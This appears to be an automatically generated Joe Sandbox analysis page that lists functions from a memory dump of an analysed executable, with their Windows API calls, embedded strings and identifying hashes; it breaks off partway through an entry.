Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: dbf97b8d1038a6a2245d53661e877ed74c67ff8d7eb998b6892e713a13a2f8be
Instruction ID: bfb23ffc1556f9357dfa0ed9d2bc44e54b97901b18f354a4fc1ccff72c60cc22
Opcode Fuzzy Hash: dbf97b8d1038a6a2245d53661e877ed74c67ff8d7eb998b6892e713a13a2f8be
Instruction Fuzzy Hash: BF61AB30106601DFCF21DF2AD948B6A77F5FB40313F108919E982AB6A0CB35AC89DF90

Function 00959838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00959944: GetWindowLongW.USER32(?,000000EB), ref: 00959952

GetSysColor.USER32(0000000F), ref: 00959862

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: cc4dc9b05e735dacb104f91bbd919aa3ec8e6d6ef94f467ec6089c50de1c5a1b
Instruction ID: 259edb6207621bb351ea9076ded7b61e5743458ac7bd957dba4e7ba6f336131e
Opcode Fuzzy Hash: cc4dc9b05e735dacb104f91bbd919aa3ec8e6d6ef94f467ec6089c50de1c5a1b
Instruction Fuzzy Hash: 6D41D471149610EFEF209F799C84BB93B69EB06332F144606FEA28B1E1C7309C85DB11

Function 009A96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0098F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 009A9717
LoadStringW.USER32(00000000,?,0098F7F8,00000001), ref: 009A9720

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0098F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 009A9742
LoadStringW.USER32(00000000,?,0098F7F8,00000001), ref: 009A9745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 009A9866

Strings

Error: , xrefs: 009A981D
%s (%d) : ==> %s: %s %s, xrefs: 009A984A
Line %d:, xrefs: 009A97A0
Line %d (File "%s"):, xrefs: 009A978F
^ ERROR, xrefs: 009A97FB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 1ee6a2f8a365e056f44d3adfad0de8774cb15a4e38c0b52fb8125cd8b5703293
Instruction ID: 9a72f5ce5fa86aa24770b1ff7c7d0d9d6c1b3513ebb9040e8b4a26d2bc404f53
Opcode Fuzzy Hash: 1ee6a2f8a365e056f44d3adfad0de8774cb15a4e38c0b52fb8125cd8b5703293
Instruction Fuzzy Hash: E1414D72840209AADF04EFE4DE96FEEB378AF95340F504425F60572092EB356F48CBA1

Function 009A06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 009A07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 009A07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 009A07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 009A0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 009A082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 009A0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 009A083C

Strings

\CLSID, xrefs: 009A0724
\IPC$, xrefs: 009A0784
SOFTWARE\Classes\, xrefs: 009A070E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 3795ea04b673901a4dbdc4a29139a9b8457729f1507fab033ffd66ea638065cc
Instruction ID: ed96bc6de907bbd0dbda8f3873b61bec87f5f2b087066bc6359256f8bf05c184
Opcode Fuzzy Hash: 3795ea04b673901a4dbdc4a29139a9b8457729f1507fab033ffd66ea638065cc
Instruction Fuzzy Hash: ED410772C54229ABDF15EFA4DC95DEEB778FF84350F454129E901A31A1EB309E44CBA0

Function 009D3F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 009D403B
CreateCompatibleDC.GDI32(00000000), ref: 009D4042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 009D4055
SelectObject.GDI32(00000000,00000000), ref: 009D405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 009D4068
DeleteDC.GDI32(00000000), ref: 009D4072
GetWindowLongW.USER32(?,000000EC), ref: 009D407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 009D4092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 009D409E

Strings

static, xrefs: 009D3FD3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 69e156b1425d4cdf9404e0a7117913f3cf9c6cc315f940174047715c177867ea
Instruction ID: d06722c7908b3acc86039f6f21eca53690d598fafed6be9c4485f3cdda9dc737
Opcode Fuzzy Hash: 69e156b1425d4cdf9404e0a7117913f3cf9c6cc315f940174047715c177867ea
Instruction Fuzzy Hash: 20316C7259521ABBDF219FA8DC09FDA3B68EF0D324F114212FA14E62A0C775D850EB54

Function 009C3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009C3C5C
CoInitialize.OLE32(00000000), ref: 009C3C8A
CoUninitialize.OLE32 ref: 009C3C94
_wcslen.LIBCMT ref: 009C3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 009C3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 009C3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 009C3F0E
CoGetObject.OLE32(?,00000000,009DFB98,?), ref: 009C3F2D
SetErrorMode.KERNEL32(00000000), ref: 009C3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 009C3FC4
VariantClear.OLEAUT32(?), ref: 009C3FD8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 4a85a8ff8b0f688fb7b09e4b7b26ee6634cd85a7f72da31a3d421973b1947771
Instruction ID: 9278213b8f5cbc56119ca82b5c33a86f432d789dccde1d94b964bfd4d7ad3b65
Opcode Fuzzy Hash: 4a85a8ff8b0f688fb7b09e4b7b26ee6634cd85a7f72da31a3d421973b1947771
Instruction Fuzzy Hash: 03C10371A082059FD700DF68C884E2BBBE9FF89744F10891DF98A9B251D731EE45CB52

Function 009B7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 009B7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 009B7B8F
SHGetDesktopFolder.SHELL32(?), ref: 009B7BA3
CoCreateInstance.OLE32(009DFD08,00000000,00000001,00A06E6C,?), ref: 009B7BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 009B7C74
CoTaskMemFree.OLE32(?,?), ref: 009B7CCC
SHBrowseForFolderW.SHELL32(?), ref: 009B7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 009B7D7A
CoTaskMemFree.OLE32(00000000), ref: 009B7D81
CoTaskMemFree.OLE32(00000000), ref: 009B7DD6
CoUninitialize.OLE32 ref: 009B7DDC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 8d07f63c44f7c4b3f385573781105853832ebcd5402892f3196bc8e46823c6be
Instruction ID: e27cc9e4d2a7b8fcb3a5f02e5386201da60e7ba65e20d0528027c700d802966c
Opcode Fuzzy Hash: 8d07f63c44f7c4b3f385573781105853832ebcd5402892f3196bc8e46823c6be
Instruction Fuzzy Hash: 7FC13975A04109AFCB14DFA4C984DAEBBF9FF88314B148599F81A9B361D730EE45CB90

Function 009D541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 009D5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 009D5515
CharNextW.USER32(00000158), ref: 009D5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 009D5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 009D559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 009D55AC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 124652dd4c8ccae5a4c6f9dcf9ce50288b67d6bc5a5f27beb893a7dc78ea6f58
Instruction ID: 132cd103b935987b73208f71792591745ccf5442c6841d7c83ac9d027db937e8
Opcode Fuzzy Hash: 124652dd4c8ccae5a4c6f9dcf9ce50288b67d6bc5a5f27beb893a7dc78ea6f58
Instruction Fuzzy Hash: 4261AD70984609ABDF108F94CC84EFE7BB9EB09360F51C54BF925A73A0D7748A81DB61

Function 0099FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0099FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0099FB08
VariantInit.OLEAUT32(?), ref: 0099FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0099FB3A
VariantCopy.OLEAUT32(?,?), ref: 0099FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0099FBA1
VariantClear.OLEAUT32(?), ref: 0099FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0099FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0099FBCC
VariantClear.OLEAUT32(?), ref: 0099FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0099FBE9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 9e64d4a9463661bcc8e05e6087551e272d8a70ff2dc91b18d62a38cd7b482dff
Instruction ID: 6c6cdc7d0c153e5b91339dc4688254fa801389049231b60886770dddc4d40a2b
Opcode Fuzzy Hash: 9e64d4a9463661bcc8e05e6087551e272d8a70ff2dc91b18d62a38cd7b482dff
Instruction Fuzzy Hash: 78416075A1521AAFCF00DF68C864DAEBBB9FF58344F008069F945E7261DB34A945CF90

Function 009A9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 009A9CA1
GetAsyncKeyState.USER32(000000A0), ref: 009A9D22
GetKeyState.USER32(000000A0), ref: 009A9D3D
GetAsyncKeyState.USER32(000000A1), ref: 009A9D57
GetKeyState.USER32(000000A1), ref: 009A9D6C
GetAsyncKeyState.USER32(00000011), ref: 009A9D84
GetKeyState.USER32(00000011), ref: 009A9D96
GetAsyncKeyState.USER32(00000012), ref: 009A9DAE
GetKeyState.USER32(00000012), ref: 009A9DC0
GetAsyncKeyState.USER32(0000005B), ref: 009A9DD8
GetKeyState.USER32(0000005B), ref: 009A9DEA

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 87de796a5c808f2e05b0981db1b28cd93b6455c0fa4ea9616689bbff2d4a8372
Instruction ID: 68ceb95d24d23e4027987676e964bf90473d47be470632180cd4259e92307860
Opcode Fuzzy Hash: 87de796a5c808f2e05b0981db1b28cd93b6455c0fa4ea9616689bbff2d4a8372
Instruction Fuzzy Hash: E541EB74548BCA6DFF30876084443B5BEF8BF13354F04805AE6C6566C2D7A499C4C7D2

Function 009C055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 009C05BC
inet_addr.WSOCK32(?), ref: 009C061C
gethostbyname.WSOCK32(?), ref: 009C0628
IcmpCreateFile.IPHLPAPI ref: 009C0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 009C06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 009C06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 009C07B9
WSACleanup.WSOCK32 ref: 009C07BF

Strings

Ping, xrefs: 009C0676

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 5f8427f7b208d8796228ca0c90af9e07083269567c981351e127e47c15097938
Instruction ID: 340450f87434be2178a0989c4bac231176d5a98ffa60183278b83aec237966e3
Opcode Fuzzy Hash: 5f8427f7b208d8796228ca0c90af9e07083269567c981351e127e47c15097938
Instruction Fuzzy Hash: 4C918C75A08201DFD724CF15C989F1ABBE4AF84318F1489ADF4698B6A2C734ED45CF92

Function 009C8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 009C8CF3

Part of subcall function 009A8E54: _wcslen.LIBCMT ref: 009A8E77

_wcslen.LIBCMT ref: 009C8D4E
_wcslen.LIBCMT ref: 009C8D9C
_wcslen.LIBCMT ref: 009C8DDC
_wcslen.LIBCMT ref: 009C8E6E

Strings

none, xrefs: 009C8E65, 009C8E6A
cdecl, xrefs: 009C8D48, 009C8D4D
stdcall, xrefs: 009C8DD6, 009C8DDB
winapi, xrefs: 009C8D96, 009C8D9B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 327a5ff1b9a637f74c77e232205c57a8fa53c5b38dc934d27f3a5e946c5b06ac
Instruction ID: 8145e0bb77a0c45b2d877f22c7b6fe96ee3df61069db7b647ee1091b77f57f09
Opcode Fuzzy Hash: 327a5ff1b9a637f74c77e232205c57a8fa53c5b38dc934d27f3a5e946c5b06ac
Instruction Fuzzy Hash: 2F519D31E00116ABCB14EF68C940EBFB7A9BF64724B20462DE826E72C5DB35DE40C791

Function 009C372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 009C3774
CoUninitialize.OLE32 ref: 009C377F
CoCreateInstance.OLE32(?,00000000,00000017,009DFB78,?), ref: 009C37D9
IIDFromString.OLE32(?,?), ref: 009C384C
VariantInit.OLEAUT32(?), ref: 009C38E4
VariantClear.OLEAUT32(?), ref: 009C3936

Strings

Failed to create object, xrefs: 009C37E4, 009C389A
Invalid parameter, xrefs: 009C3865
NULL Pointer assignment, xrefs: 009C381E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: da2538ab4327cc2747c206bc955a200f1b6aa951a9e2a85586409b4a95026b06
Instruction ID: 040bf36b893517dbeef14a61bf281a70b0b08c4829e42927d89bacb46a5c1ea0
Opcode Fuzzy Hash: da2538ab4327cc2747c206bc955a200f1b6aa951a9e2a85586409b4a95026b06
Instruction Fuzzy Hash: BA617C70A08311AFD310DF54C849F6AB7E8EF89714F10890DF9859B291D774EE48CB92

Function 009B8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 009B8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 009B8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 009B8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 009B8310
SetCurrentDirectoryW.KERNEL32(?), ref: 009B8324
SetCurrentDirectoryW.KERNEL32(?), ref: 009B8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 009B838C
SetCurrentDirectoryW.KERNEL32(?), ref: 009B8395

Strings

*.*, xrefs: 009B839B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: d20215fac5cb86c3cddba4eeae531bce7868fec19bdaa222160dfe0c4594c400
Instruction ID: bac26e4eea318a96a889b36e9f872372b278458c84d15b5517b03705c225cc96
Opcode Fuzzy Hash: d20215fac5cb86c3cddba4eeae531bce7868fec19bdaa222160dfe0c4594c400
Instruction Fuzzy Hash: C36149B25083459FCB10EF64C844AAFB3ECFF89324F04491AF99997251DB35E945CB92

Function 009B3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 009B33CF

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 009B33F0

Strings

"%s" (%d) : ==> %s:, xrefs: 009B3522
"%s" (%d) : ==> %s:%s%s, xrefs: 009B3504
Incorrect parameters to object property !, xrefs: 009B34AB
Error: , xrefs: 009B34D1
Line %d (File "%s"):, xrefs: 009B3443, 009B345C
^ ERROR , xrefs: 009B349E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 50e4c76f155ea6672faef373485ca0a5fbfbb52ae6ec3886e519d825d55cf358
Instruction ID: 7438fdf84314fa6d9e089c0c8bd7d50b1edb253a1a1bc7065dc05721c4513058
Opcode Fuzzy Hash: 50e4c76f155ea6672faef373485ca0a5fbfbb52ae6ec3886e519d825d55cf358
Instruction Fuzzy Hash: 6A518B7294020ABADF14EBE0DE46EEEB378EF44344F108565F509721A2EB712F58DB61

Function 009AB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 009AB5FC
_wcslen.LIBCMT ref: 009AB608
_wcslen.LIBCMT ref: 009AB64D
